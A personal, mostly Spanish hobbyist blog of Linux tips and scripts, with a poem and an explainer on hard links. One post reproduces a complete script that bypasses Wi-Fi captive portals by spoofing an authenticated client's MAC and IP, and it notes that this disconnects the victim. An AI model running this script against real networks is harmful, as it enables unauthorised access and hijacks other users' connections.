Fran's site and blog

Blog

Este blog recoge temática del resto de la página cuando el orden de entrada no es importante o incluso si considero más importante que se vea primero lo que es más reciente. Para el resto de los casos, utilizaré otro tipo de formato web.


Lo malo de este sitio web es que no está preparada para escribir en español, por eso veréis a veces comillas simples donde debieran aparecer dobles, y cosas así.

view:  full / summary

Install skype on Kali Linux

Posted by lapaginadefran on May 25, 2014 at 9:45 AM Comments comments (0)

For those who need to install skype on Kali Linux, here goes a script based on these instructions and others. The idea is to generate an uninstall script too, which will be specially usefull if you are using 64 bits version of Kali as I am doing:

#!/bin/bash

num_version=$(lsb_release -rs | awk '{print $3}')

apt-get update

apt-get install gdebi -y

dpkg --add-architecture i386

apt-get update

wget http://download.skype.com/linux/skype-debian_4.2.0.13-1_i386.deb

dpkg --get-selections | grep -v deinstall | cut -f1 > before_install

apt-get update

gdebi skype-debian_4.2.0.13-1_i386.deb

echo "#!/bin/bash\

" > uninstall_skype_kali-$num_version.sh

sudo dpkg --get-selections | grep -v deinstall | cut -f1 > after_install

diff before_install after_install | grep '>' | awk '{print $2}' | sed -e :a -e N -e 's/\n/ /g' -e ta \

| sed 'i\sudo apt-get remove --purge\' | sed -e :a -e N -e 's/\n/ /g' -e ta >> uninstall_skype_kali-$num_version.sh

echo "dpkg -r skype

sudo apt-get autoremove -y

sudo apt-get autoclean

dpkg --remove-architecture i386" >> uninstall_skype_kali-$num_version.sh

chown $USER:$USER uninstall_skype_kali-$num_version.sh

chmod u+x uninstall_skype_kali-$num_version.sh

rm before_install after_install




Three ways of showing hidden files of the current directory

Posted by lapaginadefran on April 11, 2013 at 6:55 PM Comments comments (0)

Here are three ways I've thought about showing hiden files in a current directory:


find -maxdepth 1 -type f -iname '.*'


ls -adF .* | grep -v '/'


for i in .*;do if [ -f $i ];then echo $i;fi;done

 

 

Firefox Cache Recover

Posted by lapaginadefran on March 29, 2013 at 8:25 AM Comments comments (0)

Así es como he llamado a un pequeño script que he empaquetado como paquete .deb para su distribución e instalación y uso más cómodo.

El script depende de los paquetes scowsay (que muestra los mensajes al usuario de un modo más atractivo) e imagemagick, que contiene programas extras para trabajar con imágenes y era necesario como veremos a continuación.

¿El origen de la idea? Poder descargar imágenes de páginas webs en las que no se permite su descarga; generalmente porque su visionado es a través de visores hechos con flash. Durante un tiempo me dedicaba a mirar el código fuente de la página y era a veces interesante observar una carpeta que era origen de las imágenes que cargaba el visor flash. En otras ocasiones el enlace del origen de esas imágenes estaba dentro del código del objeto flash y había que desensamblar el objeto flash para mirar luego el código "action script" de flash.... Hasta que me di cuenta de la estupidez que estaba haciendo porque... ¡TODO LO QUE VEO EN MI NAVEGADOR ESTÁ EN MI DISCO DURO! Bueno, no exactamente porque el navegador Firefox al menos hace distinción entre grabar en la RAM el contenido que estás viendo en la web y pasarlo al disco duro. Pero convenientemente configurado, hará uso de la caché del disco duro. Y eso implica que lo que estás viendo en tu firefox está ya en algún lugar del disco duro.

Y no es un lugar secreto desde luego. El problema es que los archivos se guardan sin extensión. En Windows uno se queda sin saber a priori de qué archivo se trata. En linux el sistema detecta el tipo de fichero. Para esos menesteres desde la línea de comandos tenemos el comando "file" que puede ser usado en un script, como es el caso.


Así pues, y haciendo uso básicamente del comando "file", este script extrae de la cache de firefox todos los archivos alojados en los distitos subdirectorios del direcotorio cache (búsqueda a través del comando "find"), copiándoos a un directorio que nos crea al principio en el nuestro de usuario: "firefox_cache". También se crearán las siguientes carpetas: "jpg", "flv", "txt", "png", "gif", "mp4" y "swf".

Desde ahí se procede a una clasificación de archivos según los tipos indicados anteriormente y se procede a agregarles una extensión según su tipo y se mueven a las carpetas arriba indicas. Dentro de jpg se crearán además las carpetas "large", "medium" y "small" para alojar las fotos de extensión jpg clasificadas como grandes (tamaño a partir de 900x600 u 800x600), las de tamaño medio (entre el tamaño anterior y 600x300 y su equivalente vertical) y las pequeñas; cuyo tamaño no sea inferior  a 400x300 o su equivalente vertical.

También rescata los vídeos que hayamos estado reproduciendo en streaming en alguna web, obtetos flash (swf) y archivos de texto que suelen ser hojas de estilo css y scripts de java.

Cuando se instala el script como paquete deb, este se aloja como fcrecover en la carpeta /usr/bin y puede ser usado ejecutado como comando desde la consola o a través de un icono que se crea en el menú, tanto de Unity como KDE, por lo que podemos ejecutarlo con un click al acceso directo. El icono es el mismo que el del navegador Firefox pero en blanco  y negro. Realmente no he tenido muchas ganas de crear yo uno nuevo desde cero.


Descargar fcrecover_2.1_all.deb

Changelog:

Ahora el script borra la carpeta firefox_cache existente. Al final se crea una copia comprimida de la nueva carpeta firefox_cache cuyo nombre es firefox_cache-aaaa-mm-dd.tar.bz2; es decir, se le añade el día actual al nombre de la copia. Pero no se borra la carpeta resultante, ya que el usuario ejecuta el script con intención de acceder a ella. Pero si se ejecuta de nuevo, la carpeta será borrada y contaremos con la copia de seguridad firefox_cache-aaaa-mm-dd.tar.bz2

Descargar fcrecover_2.2_all.deb


A Esmeralda y Dely

Posted by lapaginadefran on March 15, 2011 at 6:02 PM Comments comments (0)

Tengo cada amiga y/o conocida que son todas ellas auténticas musas de inspiración. No hay manera de describir todas sus bondades si no es a base de versos.


Estos son para mi amiga Esmeralda y su amiga Dely, con las que coincidí en el Carnaval de Badajoz de 2011:


A Esmeralda y Dely:


Érase una mirada

en una chica de rayas

mirada de unos ojos

verdes de color,

de color esmeralda.


Érase otra chica

que en negro iba ataviada

con dulce y clara sonrisa

te dice: "mi nombre

es también Esmeralda".


Érase,

en una de ellas

un nombre,

y en la otra

un color


Érase,

"Esmeralda"

común entre las dos.


Las bondades de los "Unix-like"

Posted by lapaginadefran on January 4, 2011 at 7:40 AM Comments comments (0)

Este es un correo en el que escribo a mi amigo Gabriel, recién llegado al mundo Apple para contarle algo interesante sobre el sistema de archivos que utiliza OS X, el sistema operativo de los mac, basado en BSD, luego "familia UNIX" y que tiene algo en común con los Linux: los enlaces duros. Bueno, tienen muchas más cosas en común; todos los comandos típicos de Unix para empezar, pero he aquí una breve explicación sobre una de ellas. Transcribo la carta original:



[En el mundo de los Unix, como Linux, Mac OS X, FreeBSD, Solaris... etc, etc. Existe una cosa muy muy útil llamada "enlace duro" a un archivo.

La cosa va de que la información en un disco duro se escribe de forma física de cierta manera y en cierto sitio (sectores, cilindros, etc), y luego el hecho de que ese archivo esté en una u otra carpeta no es más que un atributo suyo.


O sea, las carpetas, digamos que no existen, es una clasificación que se les da a los archivos que físicamente están almacenados en alguna parte del disco y tú, a través del entorno de ventanas (o la consola), los ves en cierto lugar "lógico".Copiar un archivo a otra carpeta supone duplicar la información y asignarle el atributo de estar situado en una segunda carpeta.


Pero, ¿y si un archivo, una única vez almacenado físicamente, le asignamos el atributo de estar en varios sitios a la vez, esto es, en más de una carpeta?


Lo veríamos en más de un sitio a la vez y la información no habría que duplicarla, triplicarla... estaría una sola vez, pero con la caracterísitica de pertenecer a varias carpetas a la vez.


Pues esto es lo que se llama en el mundo Unix los enlaces duros.

En Windows, los únicos enlaces que existen son los "accesos directos", llamados "enlaces blandos" en el mundo Unix; porque los accesos directos son eso, atajos al objeto al que apuntan.


Pero no puedes copiar un acceso directo pretendiendo así copiar el archivo al que apunta porque, como sabes, sólo te llevas eso, el acceso directo.


En Unix, los enlaces duros los ves como auténticos archivos. Si te copias uno de ellos a tu pendrive no te estás copiando un enlace, te estás copiando el archivo.


Conclusión:


enlace duro -> Un archivo "copiado" todas las veces que quieras en el disco duro y ocupando sólo el espacio de una sola copia. Cualquier cosa que le hagas a cualquiera de esas réplicas se lo estarás haciendo a todas, y esos cambios afectarán a todas las "réplicas" que tengas en cuantas carpetas quieras.


Una utilidad que le puedes encontrar a esa característica es si tienes más de una copia de un documento que sueles modificar. Si en vez de ser copias, son enlaces duros de un mismo documento, da igual desde qué carpetas de entre todas las que lo contienen hagas cambios al documento. Quedarán los cambios hechos en todas las "réplicas" que tengas en distintas carpetas de ese documento. Porque es la misma información del disco duro.


La información grabada en el disco, una sola vez, pero "vista" o "situada" en varios sitios a la vez (desde un punto de vista lógico). Porque recordemos que las carpetas (o directorios), no existen. Es un atributo de un archivo. Es decir. Que un archivo esté en una carpeta es como haberle puesto un cinta de algún color a un objeto y decir, "todos los objetos de los que cuelgue una cinta de color azul, pertenencen a un mismo sitio, a un mismo grupo, a una misma pandilla de amigos..., etc. Pero las carpetas no son lugares que existan.


(Inciso:

En informática suele existir una gran diferencia entre lo que uno ve y lo que ocurre realmente. Esto se debe a que el sistema operativo se las apaña como puede para hacer las cosas de la mejor manera posible, pero el usuario necesita verlas de una manera comprensible. Y si tenemos en cuenta que el usuario es un ser humano que siente y padece, pues si podemos "pintar" lo que ocurre dentro de un disco duro como una colección de bonitas carpetas e iconos varios, pues mejor que mejor para que él se las apañe y sepa qué está haciendo sin tener que ser un experto que sepa qué ocurre ahí dentro realmente.)



Ejemplo práctico: en un disco duro que tengo con tecnología NAS (se accede a él a través de la red y no por USB), en el que corre el emule para linux porque su firmware es un linux, tengo una peli en la carpeta de pelis ("My Videos"), que no está compartida con el emule; y un enlace duro de la peli en la carpeta del emule ("Incoming"): así comparto la peli teniéndola en dos sitios a la vez pero ocupando espacio una sola vez.


Si borro la peli de la carpeta del emule porque decido no seguir compartiéndola, sigue estando la "copia" de la carpeta de pelis, porque lo que he borrado es el enlace duro.


En cuanto existe un enlace duro hacia un archivo, todas las "réplicas" que veas del archivo son enlaces duros. O sea, desde que existe un enlace duro, ya no hay un "original" y una copia del original. Todos son enlaces duros del mismo archivo.


Vamos, como tener hermanos: todos son hermanos entre sí. A es hermano de B y eso implica que B es hermano de A. A no es el original, o más importante que B. Todos son, simplemente, hermanos los unos de los otros.


En cuanto creas un enlace duro hacia un archivo, los dos son enlaces duros hacia la información física del disco, que está contenida una única vez. Puedes borrar cualquiera de ellos y, seguirá existiendo el archivo mientras que no borres el último de ellos.


Estupendo, ¿no?

Para un documento puede no merecer la pena hacer eso. Para una peli de 1 Gb, es un giga que te ahorras por cada copia que no haces si en vez de eso haces un "enlace duro".

Y si se trata de archivos de varios gigas, como pueden ser los que se crean cuando tienes máquinas virtuales de varios sistemas operativos...


¿Sabías que el fabuloso "Time Machine", programa incluido de serie para crear copias de seguridad, si los archivos no han cambiado y te los encuentras en "50 días distintos", utiliza enlaces duros para no haberlos duplicado 50 veces? No te asustes si tus copias de seguridad tienen las misma información muchas veces. No estás desperdiciando disco duro con la misma información tantas veces. Time Machine también utiliza el truco de los enlaces duros con aquellos archivos que se repiten y no han cambiado.


Un apunte: en todos los sistemas operativos, no sé si te habrás dado cuenta que, dentro de una misma partición de un disco, mover un archivo, por grandísimo que sea (o sea, cortar y pegar), es una operación rapidísima, mientras que copiarlo dura todo lo que dura duplicar la información en el disco. ¿porque mover un archivo, por grande que sea, es tan rápido? Por lo que explico al principio de lo que es almacenar algo en un disco: los datos están almacenados físicamente, de la manera que sea (según si tenemos NTFS, Ext, FAT32, etc) en ciertas zonas físicas del disco, y luego "están" en una carpeta como un atributo suyo. LLevarlo a otra carpeta significa solamente cambiar el atributo de: "los datos que están en tal parte del disco guardados, ahora no pertenecen a la carpeta A, pertenecen a la B". Y para eso no hace falta trasladar datos de un sitio a otro. Eso sólo es cambiar unos bytes de información dentro del disco.

Por eso cortar y pegar es tan súmamente rápido dentro de una misma partición.


El enlace duro a un archivo se crea desde la línea de comandos y es un comando de los "no infumables", o sea, apto para principiantes y piltrafillas varios.


En otro correo te escribo, si quieres, la "fórmula mágica" que puedes encontrar en medio internet también (mira tú por dónde que lo que leas de la línea de comandos para Linux, puedes creer que te lo están contando para tu mac. La shell "bash"; entre otras, existe en casi todos (si no todos) los "Unix-like".


Tienes un ordenador de hardware muy avanzado tecnológicamente, de una calidad muy cuidada y con un sistema operativo cuyo corazón es hermano de Linux pero que la interfaz gráfica está tan currada como en Windows. Unix es el mejor sistema operativo que quizás se halla inventado. Que la parte invisible del sistema sea la mejor que se ha inventado, y que únicamente te tengas que currar el entorno gráfico es una gran idea de negocio. Microsoft también hizo en su momento su propia versión de UNIX: se llamaba XENIX y aportaron parte de la tecnología que es parte de la evolución de Unix.  Pero se empeñan en que su sistema operativo sea tecnología propia y el resultado es que es una cagada.


Espero no haberte aburrido mucho.]

Abrazos.


SAFELY INSTALL KUBUNTU DESKTOP

Posted by lapaginadefran on December 8, 2010 at 12:30 AM Comments comments (0)



If you are a typical Ubuntu user or, in general, a gnome enviroment user under any Debian flavour and you 'just want to try out' kde look and feel, or how do you feel when using it (if you like it or not, like it more than gnome or whatever), you may be asking yourself (perhaps):

'How could I safely install the kde desktop enviroment knowing exactly all the packets that were installed and so need to be uninstalled after I write something stupid like I love you

sudo apt-get install kubuntu-desktop language-pack-kde-es-base language-pack-kde-es #'Cos I'm using the spanish translation?'


(but I'm not really sure whether I need to add the 'es-base' packet explicitly since apt-cache depends language-pack-kde-es tells me that the other depens on this one.


Well, from the sight that I'm a newbee in bash scripting, but trying to improve and do my best, I've written this short-wise script that, not only installs the Kubuntu enviroment, but 'take note' of all the packets that, as a question of dependences were also installed and posibbly won't be uninstall when you type the command above but with the remove --purge option instead of doing the install action, as before.


It creates a new script after the installation process that sould remove all the packets already installed with the kubuntu desktop enviroment. Because there are lots of typical kde utilities and tools that come with de kde installation but won't go away by their own or by your apt-get remove --purge magic action under a virtual (o non-) console.

Well, here it is (copy, paste, give a name and change permissions to executable):


#!/bin/bash
num_version=$(lsb_release -rs)
sudo dpkg --get-selections | grep -v deinstall | cut -f1 > before_install
sudo apt-get update
sudo apt-get install kubuntu-desktop language-pack-kde-es
echo "#!/bin/bash\
" > uninstall_kubuntu-$num_version.sh
sudo dpkg --get-selections | grep -v deinstall | cut -f1 > after_install
diff before_install after_install | grep '>' | awk '{print $2}' | sed -e :a -e N -e 's/\n/ /g' -e ta \
| sed 'i\sudo apt-get remove --purge\' | sed -e :a -e N -e 's/\n/ /g' -e ta >> uninstall_kubuntu-$num_version.sh
echo "sudo apt-get autoremove -y
sudo apt-get autoclean
sudo apt-get clean" >> uninstall_kubuntu-$num_version.sh
chown $USER uninstall_kubuntu-$num_version.sh
chmod u+x uninstall_kubuntu-$num_version.sh
rm before_install after_install

#Creo una carpeta específica para guardar todos los scripts desinstaladores (caso de que no exista):

#I create an specific folder at my home directory to keep all the uninstaller scripts (in case it doesn't exists yet):
mkdir ~/uninstallers 2>/dev/null
#I move there my new uninstaller script:
mv uninstall_kubuntu-$num_version.sh ~/uninstallers


Which I happended to name (in an excess of imagination), install_kubuntu.sh


You can do something similar to undo ubuntu-desktop from an original kubuntu (I suppose).

I know the script can and even should be improved (I don't like creating temporary files and I know I can avoid them, but not how to, at the moment).


I still haven't tried out the second part, which is, obviously, the uninstallation duty, and the main one (I know, hehe), but If it doesn't work, I will edit/delete this post if so, (lol)


Good luck!


TINEYE: BUSCADOR INVERSO DE IM?GENES

Posted by lapaginadefran on December 7, 2010 at 1:54 PM Comments comments (0)

Los buscadores tan listísimos a los que estamos acostumbrados, como pueden ser google, bing, altavista, etc, etc, a la hora de buscar imágenes, lo que hacen es, evidentemente, buscar archivos de imágenes cuyos nombres tengan que ver con la búsqueda que realizamos.


¿Pero, podríamos buscar la imagen en sí, como un ser humano que anduviera visitando páginas web a ver si una cierta imagen que ha visto en algún sitio (o descargado de alguna parte), la encuentra en alguna web? O sea, ¿buscar la propia imagen, no nombres que lleven al archivo en cuestión?


Como sabremos, cuando subimos una foto a la típica red social o cualquier otra página en general (contactos, o qué sé yo), el portal en cuestión nos cambia el nombre del archivo automáticamente por una combinación aleatoria (quizás) y bien extraña de números o de letras y números. Así que, la foto que subes que se llama "pepito en la barbacoa del jardin.jpg" pasa a llamarse 79078901234-2132.jpg o lo que sea (acabo de escribir ese nombre al azar aporreando el teclado numérico).


Así pues, una vez subida la foto "pepito tal y tal..." no la encontraremos ni tan siquiera preguntando a google por el nombre de la susodicha foto. Por el cambio de nombre que sufre en la subida.


En www.tineye.com puedes, desde subir la imagen, hasta poner el enlace web de una que esté colgada en una web para que tineye trate de encontrarla en otra parte, si es que está.



Decir por mi experiencia, que el buscador en cuestión, de momento no es que sea infalible. Parece que prefieren encontrar poco a dar falsos positivos. Las fotos, una vez hayan sido algo modificadas (se les añade algo, se les difumina una zona, etc, etc..) pueden ya no ser reconocibles por los algoritmos que tineye aplica sobre las imágenes que va analizando para catalogarla como "igual (o muy parecida) a". Porque, claro está, aplica alguna función matemática sobre las imágenes cuyo resultado la identifica frente, al menos, a diferncias de tamaño.


Conclusión 1:

Las matemáticas las aplican aquí, las aplica el photoshop cuando hace la más mínima transformación a una imagen (haciéndosela a sus píxeles), las aplican los códecs de audio y vídeo, los programas de compresión de archivos, los algoritos de cifrado, de comprobación de comunicación correcta entre ordenadores....


O sea; como decía un profesor de karate muy ceporro que conocí, las matemáticas no sirven para suspenderlas. Esa lista de arriba es una ridiculez en comparación con la verdadera.


En un libro de álgebra, una vez leí: "la ciencia y la tecnología avanzan al ritmo que lo hacen las matemáticas". O sea, éstas lo hacen primero, y luego las otras. Tanto es así que los científicos a veces necesitan adelantarse a los matemáticos y crear las suyas propias porque las necesitan para el desarrollo de su ciencia (recuerdo ahora la famosa "notación de Eistein" para los sumatorios).


Conclusión 2: ya no hay más conclusiones.


Fin.

Apuntes de la l?nea de comandos (linux)

Posted by lapaginadefran on December 6, 2010 at 8:45 AM Comments comments (0)

Estas son cosillas para que no se me olviden, que mis macadores de firefox están tan colmados, que empiezan a ser poco útiles:



Clonar un sistema obteniendo una lista previa de qué archivos tengo:


http://enavas.blogspot.com/2010/02/clonar-un-sistema-usando-dpkg-get.html


Aunque también tengo mi propio script que añade repositorios que me gusta a mí tener (Tor y Remastersys):



#!/bin/bash\

 

#Se añade respositorio medibuntu:

wget --output-document=/etc/apt/sources.list.d/medibuntu.list http://www.medibuntu.org/sources.list.d/$(lsb_release -cs).list && apt-get --quiet update && apt-get --yes --quiet --allow-unauthenticated install medibuntu-keyring && apt-get --quiet update

 

#Se añade repositorio de ubuntu-tweak:

if [[ \`dpkg -l | grep \"ubuntu-tweak\"\` = "" ]]; then

add-apt-repository ppa:tualatrix/ppa

fi

#Repositorio de Remastersys:

echo -e \$YELLOW\"Agregando el respositorio de Remastersys en caso de no estar instalado\"\$ENDCOLOR

echo -e \$YELLOW\"para luego instalarlo\"\$ENDCOLOR

 

if [[ \`sudo dpkg -l | grep \"remastersys\"\` = \"\" ]]; then

echo -e \$YELLOW\"Repositorio de Remastersys:\"\$ENDCOLOR

echo \"# Remastersys\" >> /etc/apt/sources.list

echo \"deb http://www.geekconnection.org/remastersys/repository karmic/\" >>/etc/apt/sources.list

fi

 

#Instalamos el respositorio de Tor (debes instalar por tu cuenta el plugin de Firefox \"torbutton\"):

if [[ \`sudo dpkg -l | grep \"tor\"\` | awk '{\$1}'= \"\" ]]; then

echo -e \$YELLOW\"Instalamos el respositorio de Tor (debes instalar por tu cuenta el plugin de Firefox 'torbutton'):\"\$ENDCOLOR

echo \"#Tor\" >> /etc/apt/sources.list

echo \"deb http://deb.torproject.org/torproject.org lucid main\" >> /etc/apt/sources.list

fi

#Clave Pública para el respositorio de Tor:

gpg --keyserver keys.gnupg.net --recv 886DDD89

gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | apt-key add -

"> ubuntu-maverik32.sh

#sed 'i\#!/bin/bash\' ubuntu-lucid32old.sh > ubuntu-maverik32.sh

#sudo dpkg --get-selections | sed '/^lib*/d' | awk '{print $1}' | grep -v nautilus-dropbox | grep -v nessus | grep -v reconstructor \

sudo dpkg --get-selections | grep -v deinstall | sed '/^lib*/d' | awk '{print $1}' | grep -v nautilus-dropbox | grep -v nessus | grep -v reconstructor \

| sed -e :a -e N -e 's/\n/ /g' -e ta | sed 'i\apt-get install\' | sed -e :a -e N -e 's/\n/ /g' -e ta >> ubuntu-maverik32.sh

 

VERSION=$(lsb_release -c | awk '{print $2}')

export VERSION

#for i in `dpkg -l | awk '{print $2}'`; do apt-cache depends $i;done | grep -i depende | awk '{print $2}' | uniq | grep -v "<*>"  > dependencias.txt

#dpkg -l | awk '{print $2}' | fgrep -vf dependencias.txt | sed -e :a -e N -e 's/\n/ /g' -e ta > ubuntu-lucid32old.sh

#rm dependencias.txt

 

chown $USER ubuntu-maverik32.sh


Pues eso, copiar y pegar en "archivo nuevo", darle un nombre distinto (actualizar-paquetes-ubuntu32.sh) es el nombre del mío, darle permisos de ejecución y hala, a ejecutar.


  • Sustituir los saltos de nueva línea de un archivo por espacios (u otro caracter):

http://es.efreedom.com/Question/1-1251999/SED-Como-puedo-reemplazar-un-salto-de-linea-n


  • Uso de expresiones regulares:

http://protectoramalaga.bdat.com/documentos/expresiones_regulares/c737.html


  • Utilizando caracteres especiales como tales en expresiones bash, como scripts:

http://www.linuxtopia.org/online_books/advanced_bash_scripting_guide/escapingsection.html


Bueno, de momento... eso es todo. Procedo a cerrar todas esas pestañas que siempre hago que se abran para no perder los "apuntes", jeje. Y si a alguien le resulta útil (si alguien lee este blog, claro).


Saludos

"Bypass captive portal"...

Posted by lapaginadefran on October 23, 2010 at 4:56 PM Comments comments (0)

Bypass captive portal


Eso es lo que hay que buscar en inglés en google si queremos averiguar como saltarnos la protección de red inalámbricas que protegen sitios como las redes wifi de algunas universidades, la de muchos pueblos en los que hay wifi gratis para los vecinos, los hoteles, aeropuertos....


En todos el escenario es el mismo: una conexión inalámbrica no protegida y en la que, naturalmente, puedes conectarte sin problemas. Pero cuando intentas navegar... da igual la dirección de internet que pongas, siempre te sale una misma página de autentificiación en la que has de introducir tu usuario y contraseña.

Pasado ese requisito, ya puedes navegar tranquilamente. La dirección web que pusiste en principio, y que te llevó a la página de login del portal cautivo, aparece por fin.


Pues bien. Según parece, la autenticidad de un cliente válido se realiza a través de su IP. Esto es:


  • Te conectas a la red wifi sin problemas porque se trata de una red abierta. Luego, ya perteneces a la red. Es decir, eres un miembro  más de la red local.
    Puedes ver a tus "vecinos" y, aunque no puedas entrar en sus carpetas compartidas (porque lo más seguro es que esos puertos estén deshabilitados, como muchos otros), sí que puedes esnifar tráfico y capturar paquetes de quien está asociado. Aunque eso no es lo más interesante si lo que quieres es poder navegar tú también.
  • Al haberte conectado, seguramente has obtenido una IP automáticamente (pues la seguridad de la red no radica en esas cosas). Los clientes conectados y autenticados, además de tener su IP interna de la red, el servidor del portal cautivo sabe de ellos que esas ip pasaron la criba de la autenticación. Es decir, sus IPs son IPs válidas para darles conexión. Así es como valida el portal cautivo. Se trata de IP validada o IP no validada previamente.

En un escenario tal, lo que a uno se le ocurre para poder navegar sin tener el par usuario/contraseña, es hacer un ataque de tipo ip-spoofing y mac-spoofing (o sea, adueñarnos de la IP y la dirección mac de quien sí está autenticado, pues su IP está validada). Eso implica desconectarlo a él. Lo cual no será un problema, pues se reconectará automáticamente, solicitará otra IP (y al tener la misma mac que le hemos robado nostros quizás el sistema el otorgue la misma IP que tenía y tendrá un aviso cantoso de duplicidad de IP en la red -en caso de Windoze-), pero acabará conectándose de nuevo (supongo), con una IP nueva, se volverá a autenticar y estaremos ambos navegando.


Al menos esa es la teoría y la solución expuesta aquí:


http://www.semicomplete.com/blog/geekery/bypassing-captive-portals.html


En dicho post, el autor nos brinda un script para FreeBSD que habría que adaptarlo a Linux o Mac (si es que no usamos FreeBSD, como es mi caso).

Pues nada, como estoy aprendiendo un poco de scripting en bash, a ver si dentro de no mucho lo tengo traducido y puedo probarlo en algún sitio en los de entrada ya soy usuario legítimo (pero intentaré la navegación sin logearme primero).


Copio el script original:


#!/bin/sh

# Attempt to bypass a captive portal firewall by trying to find

# a host who can already get through it and spoofing

# that host's ethernet and ip addresses.

 

usage() {

echo "usage: $0 -i interface"

}

 

args=`getopt i: "$@"`

set -- $args

 

while [ $# -gt 0 ]; do

case $1 in

-i) interface=$2; shift ;;

--) shift; break; ;;

*) echo "Unknown option '$1'"; exit 1 ;;

esac

shift

done

 

if [ -z "$interface" ]; then

echo "No interface specified."

usage

exit 1

fi

 

tmp=`mktemp /tmp/XXXXXXXXX`

 

ifconfig $interface down

ifconfig $interface ether 00:de:ad:be:ef:01

ifconfig $interface up

dhclient $interface

 

# Discover networking information

ifconfig $interface \

| awk 'BEGIN { OFS="\n" }

$1 == "inet" { print "inet="$2, "netmask="$4, "broadcast="$6 }

$1 == "ssid" { print "ssid="$2, "channel="$4, "bssid="$6 }

$1 == "ether" { print "ether="$2 }' \

> $tmp

 

# Discover the gateway

netstat -rn | awk '/^default/ { print "gateway="$2 }' >> $tmp

 

eval `cat $tmp`

rm $tmp

 

if [ -z "$gateway" ]; then

echo No gateway found

exit 1

fi

 

# Save resolv.conf

dnsconf=`mktemp /tmp/XXXXXXXX`

cp /etc/resolv.conf $dnsconf

 

echo "Restore your old mac address with: "

echo "ifconfig $interface down; ifconfig $interface ether $ether; ifconfig $interface up"

 

echo

 

# Fill arp cache by pinging the broadcast address which had 33 happy laptops

# responding, which fills up my arp cache with valid entries quickly and easily.

# Pinging broadcast and multicast finds lots of clients...

echo "Looking for active nodes on the network"

 

pcap=`mktemp /tmp/XXXXXXXX`

tcpdump -i $interface -lenp 'icmp and icmp[icmptype] == icmp-echoreply' > $pcap 2> /dev/null &

tcpdump_pid=$!

 

ips=`mktemp /tmp/XXXXXXXXX`

ping -t 2 $broadcast > $ips

ping -t 2 224.0.0.1 >> $ips

 

kill -TERM $tcpdump_pid

cat $pcap \

| awk '/ICMP echo reply/ { print $10, $2 }' \

| sort | uniq \

| while read a; do

set -- $a;

ip=$1

ether=$2

 

echo Trying $a;

 

ifconfig $interface ssid "" bssid 00:00:00:00:00:00 channel 0

ifconfig $interface delete

 

ifconfig $interface down;

ifconfig $interface ether $ether;

ifconfig $interface up;

ifconfig $interface ssid $ssid bssid $bssid channel $channel

 

try=1;

while [ $try -lt 5 ]; do

echo "Waiting for associate";

ifconfig $interface | grep -q 'status: associated' && try=100;

try=$(($try + 1));

sleep 3;

done;

 

route delete default

ifconfig $interface inet $ip netmask $netmask

route add default $gateway

cp $dnsconf /etc/resolv.conf

 

echo 'pinging google';

host -W 10 google.com > /dev/null && ping -t 5 google.com

if [ $? -eq 0 ]; then

echo "Found something that can reach the internet"

echo "Mac: $2"

echo "IP: $1"

echo "Exiting... You can now get online."

exit

fi

done

 

rm $ips $ipmac

 

Rectificaciones:

  • El script anterior, no hace más que automatizar el proceso de detectar un par MAC/IP válidos y tomarla "prestada" (creí que haría un IP spoofing).
  • Por lo general, no es sólo la IP la que se valida, sino el par: dirección MAC - IP. Por eso es que resulta generalmente necesario clonar la MAC del cliente validado además de su IP. Al clonar su MAC, y estar activo en nuestro ordenador la petición de asignación de IP automática (DHCP para los amigos), nos asignará también su IP, puesto que el router sabe que a esa MAC le ha otorgado ya una IP y esa será la que siempre le otorgue mientras no le caduque (en sistemas servidores DHCP, creo que ocho días si no se reconfigurado).


  • Y una mala cosa según mis experimentos de laboratorio (en mi puta casa): Si el "atacante" utiliza un sistema Unix-like y el cliente "atacado" es Windows, éste último se quedará sin navegar o sólo le llegarán paquetes mientras nosotros el "atacante" no generemos genere tráfico. No sé por qué demonios. Pero veo que pasa así.

Así que la solución pasa por un IP spoofing, junto con un MAC spoofing. O sea: capturar su tráfico para que pase por nosotros y, paquete nuestro que salga, ponerle como IP de origen la IP suya (que sí está legitimada), que se hace supuestamente bien con iptables aunque a mí no me sale ni de coña. Y tampoco sé por qué.


También hay otros métodos más sofisticados, siempre usando Linux o derivados, que consisten en montar algún tipo de pasarela en tu casa (es decir, un ordenador encendido y conectado a internet) mientras andes por ahí de excursión por los portales cautivos, y aprovechar ciertos aspectos no tenidos en cuenta en la tecnología del portal cautivo (como que las peticiones DNS sí son "gratis"), y enmascarar todo tu tráfico en forma de paquetes que sí pueden cruzar la criba (como son las peticiones DNS) para poder navegar. Estos inventos implican además no perjudicar a nadie y son más anónimos todavía que el uso de la identidad del cliente "atacado", que es la principal consecuencia del método anterior (siendo por otra parte, el más fácil y rápido de aplicar).


Nota: este post es de carácter puramente informativo y no alienta ni incita a nadie a hacer uso de él bajo ningún concepto, desentendiéndose el autor de su uso, que será bajo su única responsabilidad, y de sus consecuencias.


El autor sólo informa, pero no incita. La mejor manera de aprender cómo funcionan las cosas, y una legalmente permitida, es montar tu propio laboratorio de pruebas en tu propia red. Existe software libre para el montaje de un portal cautivo y poder así reproducir un escenario real.


Así pues: lo montas en tu casa, jugeteas un rato, y te vas a la cama a dormir.

He dicho.;)

Hacer backup del sector de arranque

Posted by lapaginadefran on July 1, 2010 at 5:04 PM Comments comments (0)

Bueno, este es un apunte para mi, que tengo ya tantas paginas guardadas en los favoritos que empieza a resultame dificil encontrar las cosas.


ANTES DE SEGUIR LEYENDO... Esta receta es con LINUX. El que le tenga alergia o le asuste la idea de usar Linux que siga buscando una alternativa para crear una copia de seguridad de su sector de arranque y sobre como restaurarlo.



  • Cuando sólo usaba Windoze, no se por que me parecía tan desastroso perder el sector de arranque. Los correos que circulan por ahi sobre el supuesto virus antorcha dice, entre otras memeces, que el susodicho borrará nuestro sector de arranque. Como si fuera algo terrible.
  • Antes de saber de Linux, la única alternativa que encontraba por ahí para hacer copia de seguridad del sector de arranque era algún programa de pago que había que ejecutar desde un disquette y que no siempre me llegó a funcionar. Vamos, como si la operación fuera algo que tuviera que programar un experto informático.
    Desde luego que, el comando para linux que vamos a usar sí que es una creación propia de expertos, en mi humilde opinión. y lo bueno es que viene de serie con cualquier sistema "UNIX like".

    Quien sólo use Windoze, que se coja su cd de instalación, y, tras la carga de los drivers, el cd nos ofrecerá la opción de instalar Windoze o de iniciar la consola de recuperación.
